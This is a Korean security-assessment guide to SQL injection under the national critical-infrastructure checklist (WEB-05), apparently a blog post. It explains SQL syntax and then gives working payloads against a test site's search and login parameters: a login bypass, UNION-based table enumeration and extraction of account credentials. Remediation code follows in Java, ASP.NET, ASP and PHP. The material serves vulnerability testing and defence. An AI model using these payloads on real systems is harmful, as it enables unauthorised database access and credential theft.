← 홈
주요통신기반시설

SI · SQL 인젝션

#주요통신기반시설 #WEB-05

사용자 입력이 데이터가 아니라 쿼리의 일부로 해석되는 취약점이다. 인증 우회뿐 아니라 데이터베이스의 조회·수정·삭제까지 이어진다.

개요

주요정보통신기반시설 기술적 취약점 분석·평가 방법 상세가이드의 SI 개요 원문
점검 내용웹 애플리케이션 내 입력값이 SQL 쿼리에 삽입되어 비인가된 데이터베이스 접근과 조작 가능 여부 점검
점검 목적웹 애플리케이션 내 SQL문으로 해석될 수 있는 입력값 허용을 차단하고 운영 중인 데이터베이스에 대한 비인가된 접근 및 조작을 방지하여, 데이터 무결성과 보안성을 확보하기 위함
보안 위협해당 취약점이 존재하는 경우, 입력값이 SQL 쿼리에 삽입되어 데이터베이스에 비인가된 접근을 허용하며, 공격자는 민감 데이터의 조회, 수정, 삭제를 포함한 다양한 악의적인 행위가 가능하므로 입력값에 대한 특수문자 필터링을 구현해야함
참고※ SQL 인젝션 : 사용자의 입력값으로 웹 사이트 SQL 쿼리가 완성되는 약점을 이용하여, 입력값을 변조해 비정상적인 SQL 쿼리를 조합하거나 실행하는 공격. 이는 개발자가 의도하지 않은 SQL문을 실행하게 하여 데이터베이스를 비정상적으로 조작하고, 민감한 데이터를 조회, 수정, 삭제할 수 있는 공격
※ SQL 인젝션 공격 관련 코드 검토 필요
※ 소스코드 및 취약점 점검 필요
대상웹 애플리케이션 소스코드, 웹 방화벽
판단 기준양호 : 임의로 작성된 SQL 쿼리 입력에 대한 적절한 검증을 통해 비정상적인 쿼리가 실행되지 않도록 하는 경우
취약: 임의로 작성된 SQL 쿼리 입력에 대한 검증이 이루어지지 않아 비정상적인 쿼리가 실행되는 경우
조치 방법소스코드 내 SQL 쿼리를 입력값으로 받는 함수나 코드를 사용할 경우, 임의의 SQL 쿼리 입력에 대한 검증 로직을 구현하여 서버에 검증되지 않는 SQL 쿼리요청 시 에러 페이지가 아닌 정상 페이지가 반환되도록 필터링 처리하고 웹방화벽에 SQL 인젝션 관련 룰셋을 적용하여 SQL 인젝션 공격을 차단함
조치 시 영향웹 서비스에서 사용하고 있는 명령어 및 특수문자가 필터링 되어 장애가 발생 될 수 있어 사전 영향도 및 코드 분석이 필요

문법

SQL(Structured Query Language)은 관계형 데이터베이스에서 데이터를 저장·검색·수정·삭제하기 위해 사용하는 표준 언어다.

따옴표

작은따옴표로 문자열의 시작과 끝을 표시한다. 숫자는 작은따옴표로 감싸지 않는다.

WHERE title = '공지'     문자열
WHERE id = 3             숫자

문자열 안에 따옴표를 넣어야 한다면 두 번 연달아 쓴다. 'it''s'it's 라는 문자열이 된다.

따옴표 처리는 DBMS 마다 다르다

표준 SQL 은 작은따옴표를 문자열, 큰따옴표를 테이블명이나 컬럼명 같은 식별자로 구분한다. 아래는 DBMS마다 따옴표 처리를 어떻게 하는지를 정리한 표이다.

DBMS작은따옴표큰따옴표
MySQL항상 문자열이다. 이스케이프는 ''\' 둘 다 된다기본은 문자열이다. ANSI_QUOTES 모드를 켜면 식별자가 된다
PostgreSQL, Oracle항상 문자열이다. 이스케이프는 '' 만 된다항상 식별자다. 문자열 자리에 쓰면 오류가 난다
SQLite항상 문자열이다. 이스케이프는 '' 만 된다항상 식별자다. 문자열 자리에 쓰면 no such column 오류가 난다
MSSQL항상 문자열이다. 이스케이프는 '' 만 된다기본은 식별자다. QUOTED_IDENTIFIER 를 끄면 문자열이 된다

주석

주석 이후의 구문은 실행되지 않는다.

-- 줄 끝까지 주석 처리
/* 두 기호 사이를 주석 처리 */
#  줄 끝까지 주석 처리

--/* */ 는 표준 SQL 이라 어느 DBMS 에서든 동작한다. # 은 MySQL 과 MariaDB 에서만 주석으로 인식하고 PostgreSQL, Oracle, SQLite, MSSQL 에서는 오류가 난다.

논리 연산자

OR     하나만 참이어도 참
AND    둘 다 참이어야 참
NOT    참과 거짓을 뒤집는다

우선순위는 NOT, AND, OR 순이다. A AND B OR C(A AND B) OR C 로 AND 가 먼저 실행되고, NOT A AND B(NOT A) AND B 로 NOT 이 먼저 실행된다.

UNION

두 개 이상의 SELECT 쿼리 결과를 하나로 합쳐서 보여주는 집합 연산자다.
데이터가 여러 테이블에 나뉘어 있어도 한 번의 조회로 묶어서 보고 싶을 때 쓴다.

SELECT 컬럼1, 컬럼2 FROM 테이블A UNION SELECT 컬럼1, 컬럼2 FROM 테이블B

UNION 을 기준으로 앞뒤 SELECT 의 컬럼 개수만 같으면 된다.

UNION 은 중복된 행을 하나로 합친다. 중복을 그대로 사용하려면 UNION ALL 을 쓴다.

SELECT id FROM posts UNION SELECT id FROM users       ->  1, 2, 3
SELECT id FROM posts UNION ALL SELECT id FROM users   ->  1, 2, 1, 3

서브쿼리

괄호로 감싸 쿼리 안에 넣은 또 다른 쿼리다. 안쪽 쿼리의 결과가 바깥 쿼리에서 값처럼 쓰인다.
서브쿼리는 미리 알 수 없는 값을 조건으로 써야 하거나, 한 번의 조회로는 걸러낼 수 없는 데이터를 뽑을 때 주로 사용한다.

아래는 서브쿼리를 쓰는 두 가지 예시다. 값 하나를 조건에 넣는 경우와, 여러 값을 목록으로 넣는 경우다.

SELECT title FROM posts WHERE id = (SELECT max(id) FROM posts)

id 값 중에 제일 큰 값을 불러온다. 예로 1, 2, 3 이 있다면 제일 큰 값인 3을 불러오게 되고, id 가 3인 게시물이 가장 최근 글이다. 게시물은 계속 생성되고 번호도 하나씩 늘어나는 유동적인 값이기 때문에 쿼리에 숫자를 직접 적어둘 수 없다. 제일 최근 글을 가져오려고 할 때 서브쿼리 형태로 작성할 수 있다.

SELECT title FROM posts WHERE board_code IN (SELECT board_code FROM boards)

boards 테이블에 등록된 게시판 코드를 전부 불러온다. notice, qna, faq 가 등록되어 있다면 세 개가 목록으로 나온다. 값이 하나가 아니라서 = 로는 비교할 수 없고, 왼쪽 값이 목록 안에 있는지 확인하는 IN 을 쓴다. 게시판은 추가되거나 없어질 수 있어 목록이 고정되어 있지 않기 때문에, 코드를 직접 나열하지 않고 서브쿼리로 가져온다.

자주 쓰는 함수

length('abcde')        ->  5      문자열 길이
substr('abcdef',2,3)   ->  bcd    2번째부터 3글자
count(*)               ->  2      행 개수. 행이 2개인 테이블 기준
group_concat(title)    ->  공지사항,점검 안내   여러 행을 쉼표로 이어 붙임
hex('A')               ->  41     16진수 변환

DBMS 별 차이

DBMS 마다 사용하는 함수나 이름이 다르기 때문에 아래의 표로 정리하였다.

MySQLPostgreSQLSQLiteMSSQL
버전 조회@@versionversion()sqlite_version()@@version
테이블 목록information_schema.tablesinformation_schema.tablessqlite_masterinformation_schema.tables
컬럼 목록information_schema.columnsinformation_schema.columnssqlite_mastersqlinformation_schema.columns
문자열 연결CONCAT()||||+
여러 행을 한 줄로GROUP_CONCAT()string_agg()group_concat()STRING_AGG()
문자를 숫자로ASCII()ascii()unicode()ASCII()
시간 지연SLEEP()pg_sleep()없음WAITFOR DELAY

원리

사용자가 입력한 값이 SQL 쿼리에 포함되어 DBMS 로 전달된다. DBMS 는 전달받은 쿼리를 실행하고 결과를 반환한다.

처리 단계

1. 파싱 DBMS 가 전달받은 쿼리 문자열을 토큰 단위로 나누고 문법에 맞는지 검사해 쿼리 트리를 만든다. 이 시점에 DBMS 가 가진 것은 완성된 문자열 하나뿐이다.

SELECT * FROM users WHERE   ->  incomplete input   문법이 깨져서 파싱에서 막힘
SELECT * FROM nosuchtable   ->  no such table      문법은 맞지만 대상이 없어서 이후 단계에서 막힘

2. 최적화 만들어진 쿼리 트리를 보고 데이터를 어떤 방법으로 읽을지 계획을 세운다. 인덱스를 쓸지 테이블 전체를 훑을지, 조인을 어느 쪽부터 할지 비교해서 가장 빠른 경로를 고른다.

SELECT * FROM users WHERE user_id = 'hong'

인덱스 없음   ->  SCAN users                        테이블 전체를 훑는다
인덱스 있음   ->  SEARCH users USING INDEX idx_uid  인덱스로 바로 찾는다

3. 실행 계획대로 데이터를 읽어 결과를 만들고 애플리케이션에 반환한다.

실행 순서

쿼리는 작성한 순서대로 처리되지 않는다.

작성 순서   SELECT -> FROM -> WHERE -> GROUP BY -> HAVING -> ORDER BY -> LIMIT
실행 순서   FROM -> WHERE -> GROUP BY -> HAVING -> SELECT -> ORDER BY -> LIMIT

작성 순서와 실행 순서 중에서 바뀐 것은 SELECT 하나뿐이다. 나머지는 작성 순서와 실행 순서가 같다. SELECT 는 내보낼 컬럼을 고르는 절이라 대상이 먼저 확정되어 있어야 한다. 테이블을 정하고 행을 거르고 묶는 작업이 끝나 대상이 확정된 다음 SELECT 가 실행되어 내보낼 컬럼이 정해진다.

순서하는 일
1FROM데이터를 가져올 테이블을 정한다
2WHERE조건에 맞지 않는 행을 걸러낸다
3GROUP BY남은 행을 지정한 기준으로 묶는다
4HAVING묶인 그룹에 조건을 적용한다
5SELECT결과로 내보낼 컬럼을 고른다
6ORDER BY최종 결과를 정렬한다
7LIMIT정렬된 결과에서 지정한 개수만 잘라낸다

점검

점검 대상 : 통합검색 /searchq 파라미터, 로그인 /auth/loginuserId 파라미터

Step 1) 사용자 입력값 조건에 따른 참, 거짓 SQL 쿼리를 삽입하여, 응답의 변화(응답시간, 에러메시지, 응답 내용 등) 유무 확인

payload : e%' AND 1=1 --
payload : e%' AND 1=2 --

Step 2) 인증 페이지(로그인, 비밀번호 검증 등) 내 참이 되는 SQL쿼리를 삽입하여 우회 유무 확인

아이디 : ' OR 1=1--
비밀번호 : 1234

추가 검증

점검에서 취약점을 확인한 뒤, 통합검색 q 파라미터로 무엇을 더 할 수 있는지 추가로 검증한다.

1. 컬럼 개수 확인

ORDER BY 뒤의 순번을 올려가며 어느 숫자에서 에러가 나는지 확인한다.

payload : e%' ORDER BY 7 --
-> Error: 1st ORDER BY term out of range - should be between 1 and 6

에러를 보면 범위를 초과했다고 나온다. 이걸 통해 7에서 에러가 났다면 컬럼이 6개 있다는 것으로 해석된다.

2. 출력 위치 확인

1번에서 컬럼 개수를 확인했다. 이제 각 컬럼이 화면 어디에 출력되는지 찾는다. 컬럼 자리에 숫자를 넣어 어느 값이 화면 어디에 찍히는지 확인한다.

e%' UNION SELECT 1,2,3,4,5,6 --

검색 결과 3, 4, 5, 6 이 화면에 출력된다. 1과 2는 링크 주소여서 화면에 출력되지 않는다. 아래는 각 번호의 출력되는 항목이다.

1  id           링크 주소
2  board_code   링크 주소
3  title        글 제목
4  content      본문 미리보기
5  writer_name  작성자 자리
6  created_at   날짜 자리

3. 테이블 목록 확인

해당 웹사이트는 SQLite로 만들었다. SQLite 는 테이블 목록을 sqlite_master 에 보관한다.

e%' UNION SELECT 1,2,(SELECT group_concat(name) FROM sqlite_master WHERE type='table'),4,5,6 --

4. 컬럼 구조 확인
3번에서 테이블 목록을 확인했고 그중 users 라는 테이블이 있었다. 계정 정보는 주로 users 같은 이름의 테이블에 담기 때문에 users 테이블의 컬럼 구조부터 확인했다.

sqlite_mastersql 컬럼에는 테이블을 만들 때 쓴 CREATE TABLE 문이 그대로 들어 있다.

e%' UNION SELECT 1,2,(SELECT sql FROM sqlite_master WHERE name='users'),4,5,6 --
CREATE TABLE users (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  user_id TEXT UNIQUE NOT NULL,
  password TEXT NOT NULL,
  name TEXT NOT NULL,
  email TEXT,
  phone TEXT,
  ssn TEXT,
  ...
)

5. 계정 정보 추출

앞에서 테이블과 컬럼의 이름을 구했으니 이제는 실제 값을 가져온다.

e%' UNION SELECT 1,2,(SELECT group_concat(user_id||' / '||password) FROM (SELECT user_id,password FROM users LIMIT 3)),4,5,6 --
admin / ***********, manager / $2a$10$***********, hong / $2a$10$***********

계정과 비밀번호가 그대로 출력된다. manager 와 hong 은 bcrypt 해시로 저장되어 있지만, admin 계정은 비밀번호가 평문으로 저장되어 있다. (실제 값은 마스킹)

조치 방안

1. SQL 쿼리 내 사용되는 문자열의 유효성을 검증하는 로직 구현

2. 아래와 같은 특수문자에 대하여 사용자 입력값으로 지정 금지

문자상세 설명
'문자 데이터 구분 기호
;쿼리 구분 기호
--,#해당 라인 주석 구분 기호
/* *//**/ 사이 구문 주석

3. Prepared Statements를 사용하여 사용자 입력과 SQL 쿼리를 분리하여 처리

4. 시스템에서 제공하는 에러 메시지 및 DBMS에서 제공하는 에러코드가 노출되지 않도록 예외처리

5. 웹 방화벽(WAF)에 대하여 SQL Injection 관련 룰셋 추가

※ Java

SQL 키워드 및 특수문자 필터링 로직 예시

...
public static String sanitize(String input) {
      if (input == null) {
          return null;
      }
      // 특수문자 및 키워드들을 공백으로 치환
      String[] sqlKeywords = {"SELECT", "UNION", "INSERT", "UPDATE", "DELETE", "DROP", "--"};
      String pattern = "(?i)\\b(" + String.join("|", sqlKeywords) + ")\\b|['\"\\\\;()<>#/*!]";
      Pattern regex = Pattern.compile(pattern + "|--");
      Matcher matcher = regex.matcher(input);
      return matcher.replaceAll(" ");
}
...
String sanitizedInput = sanitize(userInput);

Prepared Statement 사용 로직 예시

...
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement preparedStatement = connection.prepareStatement(sql);
preparedStatement.setString(1, userInput);
...
ResultSet resultSet = preparedStatement.executeQuery();
...
  • JDBC 표준 예외 클래스를 사용하여 다양한 데이터베이스 시스템에 일관된 방식으로 예외처리

적절한 예외 처리 예시

try {
      // 데이터베이스 작업
} catch (SQLException e) {
      // 브라우저에 일반적인 오류 메시지를 반환
      e.printStackTrace();
      System.out.println("An error occurred. Please try again later.");
}
  • 사용자 입력을 직접 쿼리에 포함시킬 시 취약점이 발생하므로, 파라미터 바인딩을 사용하여 구현
  • 파라미터 바인딩 : 쿼리를 실행할 때, 쿼리 문자열과 사용자 입력값(파라미터)을 분리하여 처리하는 기법. 데이터베이스는 쿼리 문자열을 미리 파싱하고 컴파일하며, 쿼리 실행 시점에 파싱된 쿼리 문자열에 파라미터를 바인딩하여 데이터를 전달하므로 데이터베이스는 파라미터를 데이터로만 인식함

ORM(JPA-Hibernate) 파라미터 바인딩 사용 예시

public class ItemService {
      @PersistenceContext
      private EntityManager em;

      public List<Item> findItemsByUserInput(String userInput) {

          // JPQL을 사용하여 SQL Injection 방지
          String jpql = "SELECT i FROM Item i WHERE i.itemID > :userInput";
          Query query = em.createQuery(jpql, Item.class);
          query.setParameter("userInput", userInput);
          return query.getResultList();
      }
}
  • SQL Mapper(Mybatis) 내 '${}' 구문의 경우 사용자 입력값이 SQL 구문으로 해석되기 때문에 파라미터 바인딩('#{}')을 사용하여 구현

SQL Mapper(Mybatis) 파라미터 바인딩 사용 예시

...
      <!-- 학생 정보 삽입 -->
      <insert id="insertStudent" parameterType="com.example.Student">
          INSERT INTO STUDENTS (NUM, NAME, AGE, GRADE)
          VALUES (#{num}, #{name}, #{age}, #{grade})
      </insert>

      <!-- 학생 정보 삭제 -->
      <delete id="deleteStudent" parameterType="int">
          DELETE FROM STUDENTS
          WHERE NUM = #{num}
</delete>
...

※ ASP.NET

  • 정규표현식을 활용하여 SQL 키워드 및 특수문자에 대하여 필터링 로직 구현

SQL 키워드 및 특수문자 필터링 로직 예시

public static string Sanitize(string input)
{
      if (input == null)
      {
          return null;
      }
      // 특수문자들을 공백으로 치환
      string[] sqlKeywords = { "SELECT", "UNION", "INSERT", "UPDATE", "DELETE", "DROP", "--" };
      string pattern = @"(?i)\b(" + string.Join("|", sqlKeywords) + @")\b|['""\\;()<>#/!*]";
      return Regex.Replace(input, pattern, " ");
}
string sanitizedInput = Sanitize(userInput);
...

Prepared Statement 사용 로직 예시

string strQry = "SELECT count(*) FROM users WHERE userName = @username
                                    AND Password = @password";
using (SqlCommand cmd = new SqlCommand(strQry, cnx))
{
      cmd.Parameters.Add(new SqlParameter("@username", SqlDbType.VarChar, 50) {
                     Value = txtUser.Text });
      cmd.Parameters.Add(new SqlParameter("@password", SqlDbType.VarChar, 50) {
                     Value = txtPassword.Text });
      int intRecs = (int)cmd.ExecuteScalar();
      if (intRecs > 0)
      {
          FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false);
      }
      else
      {
          lblMsg.Text = "Login attempt failed.";
      }
}

적절한 에러 예외처리 로직 예시

catch (SqlException ex)
{
      Logger.LogError(ex); // 로그 상세 에러 기록
      // 사용자에게 일반적인 메시지 표시
      lblErrorMessage.Text = "데이터베이스 작업 중 오류가 발생했습니다.";
}

※ ASP

적절한 에러 예외처리 예시

On Error Resume Next ' 에러 발생 시 계속 실행
...
If Err.Number <> 0 Then
      ' 에러가 발생한 경우
      Err.Clear ' 에러 삭제 처리
%>
      <script language="javascript">
        alert("서버에 문제가 발생하였습니다. 잠시 후 다시 시도해 주세요.");
        location.replace("<%=local%>/login/login.asp?ba=search")
      </script>
<%
      response.end
End If
  • SQL Server의 xp_cmdshell 기능의 경우 SQL Server 2005 버전부터 기본적으로 비활성화 되어있음

xp_cmdshell 비활성화 처리 예시

sp_configure 'show advanced options', 1;      // SQL Server의 고급 옵션 활성화
GO
RECONFIGURE;
GO
sp_configure 'xp_cmdshell', 0;               // xp_cmdshell 비활성화

GO
RECONFIGURE;
GO

※ PHP

  • ereg_replace, eregi_replace 의 경우, PHP 5.3.0 이후 삭제되었으며, addslashes/magic_quotes_gpc의 경우 멀티바이트 문자 입력 시 우회의 가능성이 존재하므로 preg_replace를 이용하여 구현

SQL 키워드 및 특수문자 필터링 로직 예시

function sanitize($input) {
      if ($input === null) {
          return null;
      }
      // 특수문자들을 공백으로 치환
      $sqlKeywords = ["SELECT", "UNION", "INSERT", "UPDATE", "DELETE", "DROP", "--"];
      $pattern = "/(?i)\\b(" . implode("|", $sqlKeywords) . ")\\b|['\"\\\\;()<>#\/!*]/";
      return preg_replace($pattern, " ", $input);
}
$sanitizedInput = sanitize($userInput);

Prepared Statement 사용 로직 예시

...
$sql = "SELECT * FROM users WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$userInput]);
...
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
...

적절한 에러 예외처리 예시

...
try {
      // 데이터베이스 작업
} catch (PDOException $e) {               // PDO 확장의 표준 예외 클래스를 사용하여 예외처리
      // 브라우저에 일반적인 오류 메시지를 반환
      error_log($e->getMessage());
      echo 'SQL Exception';
}
...